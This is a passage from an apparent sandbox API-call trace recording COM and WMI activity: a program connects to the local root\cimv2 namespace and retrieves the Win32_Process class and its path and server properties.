Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0126.988] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0126.988] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0126.988] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.990] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1aa04020) returned 0x0 [0126.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa04020, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0126.991] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa04020, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1a980c90) returned 0x0 [0126.991] WbemDefPath:IUnknown:Release (This=0x1aa04020) returned 0x0 [0126.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980c90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1a980c90) returned 0x0 [0126.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980c90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0126.991] WbemDefPath:IUnknown:AddRef (This=0x1a980c90) returned 0x3 [0126.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980c90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0126.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980c90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0126.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980c90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1aa04060) returned 0x0 [0126.991] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa04060, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.992] WbemDefPath:IUnknown:Release (This=0x1aa04060) returned 0x3 [0126.992] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0126.992] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0126.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980c90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0126.992] WbemDefPath:IUnknown:Release (This=0x1a980c90) returned 0x2 [0126.992] WbemDefPath:IUnknown:Release (This=0x1a980c90) returned 0x1 [0126.992] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0126.992] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0126.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980c90, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1a980c90) returned 0x0 [0126.992] WbemDefPath:IUnknown:AddRef (This=0x1a980c90) returned 0x3 [0126.992] WbemDefPath:IUnknown:Release (This=0x1a980c90) returned 0x2 [0126.992] WbemDefPath:IWbemPath:SetText (This=0x1a980c90, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0126.992] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980c90, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0126.992] WbemDefPath:IWbemPath:GetText (in: This=0x1a980c90, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0126.992] WbemDefPath:IWbemPath:GetText (in: This=0x1a980c90, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.992] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0126.992] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0126.992] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0126.992] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.993] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1aa04160) returned 0x0 [0126.994] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa04160, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0126.994] WbemLocator:IClassFactory:CreateInstance (in: This=0x1aa04160, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1aa04180) returned 0x0 [0126.994] WbemLocator:IUnknown:Release (This=0x1aa04160) returned 0x0 [0126.994] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa04180, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1aa04180) returned 0x0 [0126.994] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa04180, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0126.994] WbemLocator:IUnknown:AddRef (This=0x1aa04180) returned 0x3 [0126.994] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa04180, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0126.994] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa04180, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0126.994] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa04180, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0126.994] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0126.994] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0126.994] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa04180, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0126.995] WbemLocator:IUnknown:Release (This=0x1aa04180) returned 0x2 [0126.995] WbemLocator:IUnknown:Release (This=0x1aa04180) returned 0x1 [0126.995] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0126.995] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0126.995] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa04180, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1aa04180) returned 0x0 [0126.995] WbemLocator:IUnknown:AddRef (This=0x1aa04180) returned 0x3 [0126.995] WbemLocator:IUnknown:Release (This=0x1aa04180) returned 0x2 [0126.995] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980c90, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0126.995] WbemDefPath:IWbemPath:GetText (in: This=0x1a980c90, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0126.995] WbemDefPath:IWbemPath:GetText (in: This=0x1a980c90, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.995] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1aa041a0) returned 0x0 [0126.995] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1aa041a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1a9e33d0) returned 0x0 [0127.302] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e33d0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1aa02320) returned 0x0 [0127.312] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa02320, pProxy=0x1a9e33d0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0127.312] WbemLocator:IUnknown:Release (This=0x1aa02320) returned 0x1 [0127.312] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e33d0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1aa02360) returned 0x0 [0127.313] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e33d0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1aa02320) returned 0x0 [0127.313] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa02320, pProxy=0x1a9e33d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0127.313] WbemLocator:IUnknown:Release (This=0x1aa02320) returned 0x2 [0127.313] WbemLocator:IUnknown:Release (This=0x1aa02360) returned 0x1 [0127.313] CoTaskMemFree (pv=0x1a9f0080) [0127.313] WbemLocator:IUnknown:AddRef (This=0x1a9e33d0) returned 0x2 [0127.314] WbemLocator:IUnknown:Release (This=0x1aa041a0) returned 0x0 [0127.314] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0127.314] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0127.314] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e33d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1aa02330) returned 0x0 [0127.314] WbemLocator:IRpcOptions:Query (in: This=0x1aa02330, pPrx=0x1aa04220, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0127.315] WbemLocator:IUnknown:Release (This=0x1aa02330) returned 0x2 [0127.315] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0127.315] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0127.315] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e33d0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1a9e33d0) returned 0x0 [0127.315] WbemLocator:IUnknown:Release (This=0x1a9e33d0) returned 0x2 [0127.315] SysStringLen (param_1=0x0) returned 0x0 [0127.315] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980c90, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0127.315] WbemDefPath:IWbemPath:GetText (in: This=0x1a980c90, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0127.315] WbemDefPath:IWbemPath:GetText (in: This=0x1a980c90, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.315] WbemDefPath:IWbemPath:GetText (in: This=0x1a980990, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0127.315] WbemDefPath:IWbemPath:GetText (in: This=0x1a980990, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0127.316] IWbemServices:GetObject (in: This=0x1a9e33d0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1aa09ef0, ppCallResult=0x0) returned 0x0 [0127.320] IWbemClassObject:Get (in: This=0x1aa09ef0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0127.320] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0127.321] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0127.321] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0127.321] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0127.321] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0127.321] IUnknown:Release (This=0x1a943398) returned 0x1 [0127.323] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1aa041a0) returned 0x0 [0127.323] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa041a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0127.323] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa041a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1a980d50) returned 0x0 [0127.323] WbemDefPath:IUnknown:Release (This=0x1aa041a0) returned 0x0 [0127.323] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980d50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1a980d50) returned 0x0 [0127.324] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980d50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0127.324] WbemDefPath:IUnknown:AddRef (This=0x1a980d50) returned 0x3 [0127.324] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980d50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0127.324] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980d50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0127.324] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980d50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1aa041c0) returned 0x0 [0127.324] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa041c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.324] WbemDefPath:IUnknown:Release (This=0x1aa041c0) returned 0x3 [0127.324] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0127.324] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0127.324] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980d50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0127.324] WbemDefPath:IUnknown:Release (This=0x1a980d50) returned 0x2 [0127.325] WbemDefPath:IUnknown:Release (This=0x1a980d50) returned 0x1 [0127.325] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0127.325] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0127.325] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980d50, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1a980d50) returned 0x0 [0127.325] WbemDefPath:IUnknown:AddRef (This=0x1a980d50) returned 0x3 [0127.325] WbemDefPath:IUnknown:Release (This=0x1a980d50) returned 0x2 [0127.325] WbemDefPath:IWbemPath:SetText (This=0x1a980d50, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0127.325] IWbemClassObject:Get (in: This=0x1aa09ef0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0127.325] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.325] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.325] IWbemClassObject:Get (in: This=0x1aa09ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | 